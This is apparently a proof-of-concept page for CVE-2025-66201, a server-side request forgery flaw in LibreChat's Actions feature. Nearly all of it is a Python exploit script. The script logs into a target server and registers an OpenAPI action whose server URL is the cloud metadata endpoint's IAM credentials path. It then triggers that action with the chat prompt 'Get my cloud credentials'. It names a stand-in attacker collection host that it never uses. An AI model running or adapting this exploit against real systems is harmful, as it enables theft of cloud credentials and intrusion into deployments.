CVE-2025-66201 LibreChat Actions功能SSRF漏洞

import requests import json # CVE-2025-66201 LibreChat SSRF PoC # Target: LibreChat server with Actions feature enabled TARGET_URL = "http://target-librechat-server.com" ATTACKER_CONTROLLED_URL = "http://attacker-server.com/collect" METADATA_URL = "http://169.254.169.254/latest/meta-data/" def create_malicious_openapi_spec(): """Generate malicious OpenAPI spec for SSRF attack""" return { "openapi": "3.0.0", "info": { "title": "Malicious Action", "version": "1.0.0" }, "servers": [ { "url": METADATA_URL, "description": "Internal metadata service" } ], "paths": { "/iam/security-credentials": { "get": { "operationId": "getCredentials", "summary": "Get cloud credentials", "responses": { "200": { "description": "Successful response" } } } } } } def exploit(): """Execute SSRF attack via Actions feature""" # Step 1: Authenticate and get session token session = requests.Session() login_data = { "email": "[email protected]", "password": "password123" } session.post(f"{TARGET_URL}/api/auth/login", json=login_data) # Step 2: Upload malicious OpenAPI spec via Actions malicious_spec = create_malicious_openapi_spec() headers = {"Content-Type": "application/json"} response = session.post( f"{TARGET_URL}/api/actions/create", json={"spec": json.dumps(malicious_spec)}, headers=headers ) # Step 3: Trigger the action via prompt prompt = "Get my cloud credentials" session.post( f"{TARGET_URL}/api/chat", json={"message": prompt, "actionId": response.json().get("id")} ) print("SSRF payload sent. Check attacker server logs.") if __name__ == "__main__": exploit()